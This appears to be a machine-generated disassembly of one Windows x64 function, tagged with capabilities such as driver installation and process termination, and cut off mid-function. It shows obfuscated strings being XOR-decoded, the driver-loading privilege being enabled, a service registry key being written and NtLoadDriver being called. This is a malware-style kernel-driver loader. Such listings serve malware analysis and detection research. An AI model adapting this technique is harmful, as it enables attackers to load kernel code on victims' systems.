Function at 0x1403eb95c
Capabilities:
Get system information on windows
Install driver
Make suspicious ntquerysysteminformation call
Parse pe header
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x670
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140499010]
xor rax, rsp
mov qword [rbp + 0x608], rax
xor edi, edi
movabs rax, 0xcea3a5fedebea983
mov qword [rbp + 0x4c0], rax
movabs rax, 0x1014adebb08fbab0
mov qword [rbp + 0x4c8], rax
movabs rax, 0xbd8dc49abcc8d1e1
mov qword [rbp + 0x1e0], rax
movabs rax, 0x1014adebb08fc9c9
mov qword [rbp + 0x1e8], rax
movups xmm0, xmmword [rbp + 0x1e0]
movdqa xmm1, xmmword [rbp + 0x4c0]
pxor xmm1, xmm0
movdqa xmmword [rbp + 0x1e0], xmm1
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x2a0]
call fcn.1403ef9b4
nop
mov qword [0x1404a3d20], rdi
mov qword [0x1404a3d28], rdi
mov eax, dword [0x14043df3c]
mov dword [rbp + 0x5f0], eax
movzx eax, word [0x14043df40]
mov word [rbp + 0x5f4], ax
lea rcx, [rbp + 0x2a0]
call fcn.1403e96f0
mov r15, rax
mov ebx, edi
mov dword [rbp + 0x1c8], edi
lea r9, [rbp + 0x1c8]
xor r8d, r8d
xor edx, edx
lea esi, [rdi + 0xb]
mov ecx, esi
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov r13d, 0x8000
mov r14d, 0xc0000004
jmp 0x1403ebab0
mov r8d, r13d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1c8]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x1c8]
mov r8d, dword [rbp + 0x1c8]
mov rdx, rax
mov ecx, esi
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, r14d
je 0x1403eba6e
mov r12d, 1
test eax, eax
jns 0x1403ebacf
mov r8d, r13d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1403ebb43
mov esi, edi
cmp dword [rbx], edi
jbe 0x1403ebb29
mov eax, esi
imul r14, rax, 0x128
movzx edx, word [r14 + rbx + 0x2e]
add rdx, 0x30
add rdx, r14
add rdx, rbx
lea rcx, [rbp + 0x1f8]
call fcn.1403ef9b4
lea rcx, [rbp + 0x1f8]
call fcn.1403e96f0
mov rdx, r15
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1403ebb5e
lea rcx, [rbp + 0x1f8]
call fcn.1403e8be4
add esi, r12d
cmp esi, dword [rbx]
jb 0x1403ebad5
mov r8d, r13d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rsi, rdi
test rsi, rsi
jne 0x1403ed461
mov rax, qword [0x14049a0b0]
mov edx, 0x5a4d
mov ecx, 0x4550
cmp word [rax], dx
je 0x1403ebb7f
mov rsi, rdi
jmp 0x1403ebb8c
mov rsi, qword [r14 + rbx + 0x18]
mov r8d, r13d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [rbp + 0x1f8]
call fcn.1403e8be4
jmp 0x1403ebb3a
movsxd rsi, dword [rax + 0x3c]
add rsi, rax
cmp dword [rsi], ecx
cmovne rsi, rdi
mov qword [rbp + 0x5c0], rsi
cmp dword [rsi], ecx
je 0x1403ebbaa
lea rcx, [rbp + 0x2a0]
call fcn.1403e8be4
xor al, al
jmp 0x1403ed46d
mov ebx, dword [rsi + 0x50]
mov qword [rbp + 0x5f8], rbx
mov qword [0x1404a3d28], rbx
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x500]
call fcn.1403ef9e8
mov r9d, ebx
lea r8, [rbp + 0x5f0]
mov rdx, rax
lea rcx, [rbp + 0x320]
call fcn.1403ea378
nop
cmp dword [rbp + 0x368], edi
je 0x1403ece35
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x2f8]
call fcn.1403ef7f4
mov qword [rbp + 0x1c8], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x1c8]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1403ebc35
mov bl, r12b
jmp 0x1403ebcb7
mov qword [rbp + 0x1f0], rdi
lea rcx, [rbp + 0x2f8]
call fcn.1403eff48
lea r8, [rbp + 0x1f0]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1403ebc2d
mov dword [rbp + 0x4c0], r12d
mov rax, qword [rbp + 0x1f0]
mov qword [rbp + 0x4c4], rax
mov dword [rbp + 0x4cc], 2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov r9d, 0x10
lea r8, [rbp + 0x4c0]
xor edx, edx
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1403ebc2d
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, dil
lea rcx, [rbp + 0x2f8]
call fcn.1403ef790
test bl, bl
je 0x1403ebccf
mov r12d, edi
jmp 0x1403ec171
xor r8d, r8d
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x58]
call fcn.1403f055c
nop
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.1403e93e0
nop
lea r8, [rbp]
lea rdx, [rbp + 0x2d8]
mov rcx, rax
call fcn.1403f0128
nop
lea r8, [rbp + 0x2d8]
lea rdx, [0x14043decc]
lea rcx, [rbp + 0x18]
call fcn.1403f0444
mov r14, rax
movabs r13, 0xcea3a5fedebea983
mov qword [rbp + 0x580], r13
movabs r15, 0x1014adebb08fbab0
mov qword [rbp + 0x588], r15
movabs rax, 0x96ac8d4cc7d031c5
mov qword [rbp + 0x590], rax
movabs rax, 0x9b9b9d19c7519ba
mov qword [rbp + 0x598], rax
movabs rax, 0xdc292a72838d07f7
mov qword [rbp + 0x5a0], rax
movabs rax, 0xcb62650f3c57b454
mov qword [rbp + 0x5a8], rax
movabs rcx, 0x8dffc89baacdd0d0
mov qword [rbp + 0x540], rcx
movabs rcx, 0x7f57d985d5fdc8c5
mov qword [rbp + 0x548], rcx
movabs rcx, 0xe2c9de20a8a245ab
mov qword [rbp + 0x550], rcx
movabs rcx, 0x6cdad0a7ee104ae6
mov qword [rbp + 0x558], rcx
movabs rcx, 0xdc292a72838d5b84
mov qword [rbp + 0x560], rcx
mov qword [rbp + 0x568], rax
movups xmm0, xmmword [rbp + 0x540]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rbp + 0x550]
movups xmmword [rbp + 0xf0], xmm1
movups xmm2, xmmword [rbp + 0x560]
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x580]
vmovdqa ymmword [rbp + 0xe0], ymm1
vpxor xmm2, xmm2, xmmword [rbp + 0x5a0]
vmovdqa xmmword [rbp + 0x100], xmm2
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x1f8]
vzeroupper
call fcn.1403ef9b4
nop
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x1f8]
call fcn.1403ef8f4
lea rcx, [rbp + 0x1f8]
call fcn.1403e96f0
lea r8, [rbp + 0x1c0]
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x1403ebe84
mov bl, r12b
jmp 0x1403ebf76
mov byte [rbp + 0x1d9], r12b
mov ebx, 4
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1d9]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1403ebe7c
mov byte [rbp + 0x1da], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1da]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1403ebe7c
mov byte [rbp + 0x1db], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1db]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1403ebe7c
mov rbx, qword [r14 + 0x10]
mov rcx, r14
call fcn.1403e96f0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, r12d
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1403ebe7c
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
test eax, eax
setne bl
lea rcx, [rbp + 0x1f8]
call fcn.1403e8be4
nop
lea rcx, [rbp + 0x18]
call fcn.1403e8be4
nop
lea rcx, [rbp + 0x2d8]
call fcn.1403e8be4
nop
lea rcx, [rbp + 0x38]
call fcn.1403ef790
nop
lea rcx, [rbp + 0x58]
call fcn.1403ef790
test bl, bl
jne 0x1403ebcc7
mov qword [rbp + 0x540], r13
mov qword [rbp + 0x548], r15
movabs rax, 0x96ac8d4cc7d031c5
mov qword [rbp + 0x550], rax
movabs rax, 0x9b9b9d19c7519ba
mov qword [rbp + 0x558], rax
movabs rax, 0xdc292a72838d07f7
mov qword [rbp + 0x560], rax
movabs rax, 0xcb62650f3c57b454
mov qword [rbp + 0x568], rax
movabs rax, 0x6af7f9d008cf69d9
mov qword [rbp + 0x570], rax
movabs rax, 0x808fdb458327067e
mov qword [rbp + 0x578], rax
movabs rcx, 0xbcd7d697b9dbfbdf
mov qword [rbp + 0x580], rcx
movabs rcx, 0x7e7dc588d1c2e6c9
mov qword [rbp + 0x588], rcx
movabs rcx, 0xfbc9f93fbe836da0
mov qword [rbp + 0x590], rcx
movabs rcx, 0x7dd7dca3ee005ae6
mov qword [rbp + 0x598], rcx
movabs rcx, 0x8f454500f7e368b4
mov qword [rbp + 0x5a0], rcx
movabs rcx, 0xa214176a6f0bc031
mov qword [rbp + 0x5a8], rcx
movabs rcx, 0x6af7f9d054bc0cba
mov qword [rbp + 0x5b0], rcx
mov qword [rbp + 0x5b8], rax
mov r8d, 0x40
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll_memcpy
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x540]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x560]
vmovdqa ymmword [rbp + 0xa0], ymm1
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x260]
vzeroupper
call fcn.1403ef9b4
nop
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x260]
call fcn.1403ef8f4
lea rcx, [rbp + 0x260]
call fcn.1403e96f0
mov rdx, rax
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, r12b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x220]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x220]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
mov ebx, eax
lea rcx, [rbp + 0x260]
call fcn.1403e8be4
mov r12d, edi
test ebx, ebx
sete r12b
lea rcx, [rbp + 0x340]
call fcn.1403e96f0
mov r13, rax
mov rbx, rdi
mov dword [rbp + 0x1c8], edi
lea r9, [rbp + 0x1c8]
xor r8d, r8d
xor edx, edx
lea r14d, [r8 + 0xb]
mov ecx, r14d
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov r15d, 0xc0000004
jmp 0x1403ec1f0
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1c8]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x1c8]
mov r8d, dword [rbp + 0x1c8]
mov rdx, rax
mov ecx, r14d
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, r15d
je 0x1403ec1aa
test eax, eax
js 0x1403ec25a
mov r14d, edi
cmp dword [rbx], edi
jbe 0x1403ec25a
mov eax, r14d
imul r15, rax, 0x128
movzx edx, word [rbx + r15 + 0x2e]
add rdx, 0x30
add rdx, rbx
add rdx, r15
lea rcx, [rbp + 0x280]
call fcn.1403ef9b4
lea rcx, [rbp + 0x280]
call fcn.1403e96f0
mov rdx, r13
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1403ec345
lea rcx, [rbp + 0x280]
call fcn.1403e8be4
inc r14d
cmp r14d, dword [rbx]
jb 0x1403ec200
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r14, rdi
mov r15d, 1
cmp r12d, r15d
ja 0x1403ece35
test r14, r14
je 0x1403ece35
mov r13d, dword [rbp + 0x360]
add r13, r14
mov qword [rbp + 8], r13
mov qword [0x1404a3d20], r13
mov r14d, 4
mov rax, qword gs:[0x58]
mov r12, qword [rax]
mov eax, dword [r14 + r12]
cmp dword [0x1404a3de4], eax
jle 0x1403ec459
lea rcx, [0x1404a3de4]
call fcn.1404397c8
cmp dword [0x1404a3de4], 0xffffffff
jne 0x1403ec459
movabs rax, 0xcea3a5fedebea983
mov qword [rbp + 0x4c0], rax
movabs rax, 0x1014adebb08fbab0
mov qword [rbp + 0x4c8], rax
movabs rax, 0xa2cdd795add1dded
mov qword [rbp + 0x1e0], rax
movabs rax, 0x1014adebd5f7df9e
mov qword [rbp + 0x1e8], rax
movups xmm0, xmmword [rbp + 0x1e0]
movdqa xmm1, xmmword [rbp + 0x4c0]
pxor xmm1, xmm0
movdqa xmmword [rbp + 0x1e0], xmm1
mov rbx, rdi
mov dword [rbp + 0x1c0], edi
xor r8d, r8d
xor edx, edx
jmp 0x1403ec3a2
mov r14, qword [rbx + r15 + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [rbp + 0x280]
call fcn.1403e8be4
jmp 0x1403ec26e
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1c0]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8d, dword [rbp + 0x1c0]
mov rdx, rax
lea r9, [rbp + 0x1c0]
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x1403ec36c
test eax, eax
jns 0x1403ec3d2
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1403ec44d
mov r14d, edi
cmp dword [rbx], edi
jbe 0x1403ec436
mov eax, r14d
imul rcx, rax, 0x128
movzx edx, word [rcx + rbx + 0x2e]
add rcx, 0x30
add rdx, rcx
add rdx, rbx
lea rcx, [rbp + 0x1f8]
call fcn.1403ef9b4
lea rcx, [rbp + 0x1f8]
call fcn.1403e96f0
lea rdx, [rbp + 0x1e0]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1403ec6bf
lea rcx, [rbp + 0x1f8]
call fcn.1403e8be4
add r14d, r15d
cmp r14d, dword [rbx]
jb 0x1403ec3d9
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r14d, 4
lea rcx, [0x1404a3de4]
call fcn.140439768
mov eax, dword [r14 + r12]
cmp dword [0x1404a3e30], eax
jle 0x1403ec492
lea rcx, [0x1404a3e30]
call fcn.1404397c8
cmp dword [0x1404a3e30], 0xffffffff
jne 0x1403ec492
call fcn.1403e9a40
mov qword [0x1404a3e20], rax
lea rcx, [0x1404a3e30]
call fcn.140439768
mov eax, dword [r14 + r12]
cmp dword [0x1404a3e10], eax
jle 0x1403ec4cb
lea rcx, [0x1404a3e10]
call fcn.1404397c8
cmp dword [0x1404a3e10], 0xffffffff
jne 0x1403ec4cb
call fcn.1403e9e38
mov qword [0x1404a3e18], rax
lea rcx, [0x1404a3e10]
call fcn.140439768
cmp qword [0x1404a3e20], rdi
je 0x1403ece35
cmp qword [0x1404a3e18], rdi
je 0x1403ece35
movabs rax, 0xcea3a5fedebea983
mov qword [rbp + 0x4c0], rax
movabs rax, 0x1014adebb08fbab0
mov qword [rbp + 0x4c8], rax
movabs rax, 0xaa8d97cdacdbdaf6
mov qword [rbp + 0x1e0], rax
movabs rax, 0x1014adebb08fd6dc
mov qword [rbp + 0x1e8], rax
movups xmm0, xmmword [rbp + 0x1e0]
pxor xmm0, xmmword [rbp + 0x4c0]
movdqa xmmword [rbp + 0xc0], xmm0
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rax
lea r9, [rbp + 0x11]
lea r8, [0x1404446b0]
lea rdx, [0x14043e060]
lea rcx, [rbp + 0x260]
call fcn.1403f0774
nop
mov eax, dword [r14 + r12]
cmp dword [0x14049a024], eax
jle 0x1403ec5ac
lea rcx, [0x14049a024]
call fcn.1404397c8
cmp dword [0x14049a024], 0xffffffff
jne 0x1403ec5ac
lea rcx, [0x14049a024]
call fcn.140439768
mov ebx, 0x10
mov r8d, ebx
lea rdx, [rbp + 0x1f8]
lea rcx, [0x14049a000]
call fcn.1403ead98
nop
lea rcx, [rbp + 0x1a0]
call fcn.1403e94a8
nop
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x58]
mov rcx, rax
call fcn.1403f0128
nop
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x58]
call fcn.1403ef8f4
mov rdx, rax
lea rcx, [rbp + 0x2f8]
call fcn.1403ef984
nop
lea rcx, [rbp + 0x58]
call fcn.1403e8be4
nop
lea rcx, [rbp + 0x1a0]
call fcn.1403ef790
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x3b0]
call main
lea rcx, [rbp + 0x2f8]
call fcn.1403e96f0
mov dword [rsp + 0x20], r15d
lea r9d, [rbx + 0x30]
lea r8d, [rbx + 0x10]
mov rdx, rax
lea rcx, [rbp + 0x3b0]
call fcn.1403ee8cc
nop
mov r8, qword [rbp + 0x268]
mov rdx, qword [rbp + 0x260]
sub r8, rdx
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x3b0]
call fcn.1403ee83c
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x38]
call fcn.1403ef7f4
mov qword [rbp + 0x1d0], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x1d0]
lea edx, [rbx + 0x18]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1403ec6e1
mov bl, r15b
jmp 0x1403ec761
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [rbp + 0x1f8]
call fcn.1403e8be4
jmp 0x1403ec447
mov qword [rbp + 0x258], rdi
lea rcx, [rbp + 0x38]
call fcn.1403eff48
lea r8, [rbp + 0x258]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1403ec6b7
mov dword [rbp + 0x1e0], r15d
mov rax, qword [rbp + 0x258]
mov qword [rbp + 0x1e4], rax
mov dword [rbp + 0x1ec], 2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov r9d, ebx
lea r8, [rbp + 0x1e0]
xor edx, edx
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1403ec6b7
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, dil
lea rcx, [rbp + 0x38]
call fcn.1403ef790
test bl, bl
je 0x1403ec780
mov bl, dil
movabs r14, 0x1014adebb08fbab0
jmp 0x1403ecc3d
xor r8d, r8d
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x580]
call fcn.1403f055c
nop
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.1403e93e0
nop
lea r8, [rbp + 1]
lea rdx, [rbp + 0x18]
mov rcx, rax
call fcn.1403f0128
nop
lea r8, [rbp + 0x18]
lea rdx, [0x14043decc]
lea rcx, [rbp + 0x80]
call fcn.1403f0444
mov r14, rax
movabs rax, 0xcea3a5fedebea983
mov qword [rbp + 0x4c0], rax
movabs rax, 0x1014adebb08fbab0
mov qword [rbp + 0x4c8], rax
movabs rax, 0x96ac8d4cc7d031c5
mov qword [rbp + 0x4d0], rax
movabs rax, 0x9b9b9d19c7519ba
mov qword [rbp + 0x4d8], rax
movabs rax, 0xdc292a72838d07f7
mov qword [rbp + 0x4e0], rax
movabs rax, 0xcb62650f3c57b454
mov qword [rbp + 0x4e8], rax
movabs rcx, 0x8dffc89baacdd0d0
mov qword [rbp + 0x500], rcx
movabs rcx, 0x7f57d985d5fdc8c5
mov qword [rbp + 0x508], rcx
movabs rcx, 0xe2c9de20a8a245ab
mov qword [rbp + 0x510], rcx
movabs rcx, 0x6cdad0a7ee104ae6
mov qword [rbp + 0x518], rcx
movabs rcx, 0xdc292a72838d5b84
mov qword [rbp + 0x520], rcx
mov qword [rbp + 0x528], rax
movups xmm0, xmmword [rbp + 0x500]
movups xmmword [rbp + 0x160], xmm0
movups xmm1, xmmword [rbp + 0x510]
movups xmmword [rbp + 0x170], xmm1
movups xmm2, xmmword [rbp + 0x520]
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x4c0]
vmovdqa ymmword [rbp + 0x160], ymm1
vpxor xmm2, xmm2, xmmword [rbp + 0x4e0]
vmovdqa xmmword [rbp + 0x180], xmm2
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x390]
vzeroupper
call fcn.1403ef9b4
nop
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x390]
call fcn.1403ef8f4
lea rcx, [rbp + 0x390]
call fcn.1403e96f0
lea r8, [rbp + 0x1c0]
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x1403ec938
mov bl, r15b
jmp 0x1403eca2a
mov byte [rbp + 0x1db], r15b
mov ebx, 4
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1db]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1403ec930
mov byte [rbp + 0x1da], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1da]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1403ec930
mov byte [rbp + 0x1d9], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1d9]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1403ec930
mov rbx, qword [r14 + 0x10]
mov rcx, r14
call fcn.1403e96f0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, r15d
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1403ec930
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
test eax, eax
setne bl
lea rcx, [rbp + 0x390]
call fcn.1403e8be4
nop
lea rcx, [rbp + 0x80]
call fcn.1403e8be4
nop
lea rcx, [rbp + 0x18]
call fcn.1403e8be4
nop
lea rcx, [rbp + 0xe0]
call fcn.1403ef790
nop
lea rcx, [rbp + 0x580]
call fcn.1403ef790
movabs r14, 0x1014adebb08fbab0
test bl, bl
je 0x1403eca7d
mov bl, dil
jmp 0x1403ecc3d
movabs rax, 0xcea3a5fedebea983
mov qword [rbp + 0x500], rax
mov qword [rbp + 0x508], r14
movabs rax, 0x96ac8d4cc7d031c5
mov qword [rbp + 0x510], rax
movabs rax, 0x9b9b9d19c7519ba
mov qword [rbp + 0x518], rax
movabs rax, 0xdc292a72838d07f7
mov qword [rbp + 0x520], rax
movabs rax, 0xcb62650f3c57b454
mov qword [rbp + 0x528], rax
movabs rax, 0x6af7f9d008cf69d9
mov qword [rbp + 0x530], rax
movabs rax, 0x808fdb458327067e
mov qword [rbp + 0x538], rax
movabs rcx, 0xbcd7d697b9dbfbdf
mov qword [rbp + 0x4c0], rcx
movabs rcx, 0x7e7dc588d1c2e6c9
mov qword [rbp + 0x4c8], rcx
movabs rcx, 0xfbc9f93fbe836da0
mov qword [rbp + 0x4d0], rcx
movabs rcx, 0x7dd7dca3ee005ae6
mov qword [rbp + 0x4d8], rcx
movabs rcx, 0x8f454500f7e368b4
mov qword [rbp + 0x4e0], rcx
movabs rcx, 0xa214176a6f0bc031
mov qword [rbp + 0x4e8], rcx
movabs rcx, 0x6af7f9d054bc0cba
mov qword [rbp + 0x4f0], rcx
mov qword [rbp + 0x4f8], rax
mov r8d, 0x40
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x120]
call sub.VCRUNTIME140.dll_memcpy
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x500]
vmovdqa ymmword [rbp + 0x120], ymm1
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x520]
vmovdqa ymmword [rbp + 0x140], ymm1
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x2d8]
vzeroupper
call fcn.1403ef9b4
nop
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x2d8]
call fcn.1403ef8f4
lea rcx, [rbp + 0x2d8]
call fcn.1403e96f0
mov rdx, rax
lea rcx, [rbp + 0x370]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, r15b
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x380]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x380]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
lea rcx, [rbp + 0x2d8]
call fcn.1403e8be4
mov byte [rbp], bl
lea r9, [rbp + 0x1f8]
lea r8, [rbp]
mov dl, byte [rbp + 1]
lea rcx, [rbp + 0x540]
call fcn.1403f106c
nop
lea rcx, [rbp + 0x458]
call fcn.1403ee870
lea rcx, [rbp + 0x458]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x2f8]
call fcn.1403e8be4
nop
lea rcx, [rbp + 0x1f8]
call fcn.1403e8be4
nop
lea rcx, [rbp + 0x260]
call fcn.1403ef548
nop
cmp byte [rbp + 0x560], dil
jne 0x1403eccde
lea rcx, [rbp + 0x500]
call fcn.1403efafc
nop
mov qword [rbp + 0x230], rdi
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x238]
call fcn.1403ef9e8
nop
lea rcx, [rbp + 0x500]
call fcn.1403e8be4
jmp 0x1403ecd74
movabs rax, 0xcea3a5fedebea983
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x228], r14
movabs rax, 0xceececb98290f5df
mov qword [rbp + 0x4c0], rax
mov qword [rbp + 0x4c8], r14
movups xmm0, xmmword [rbp + 0x4c0]
pxor xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0xd0], xmm0
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
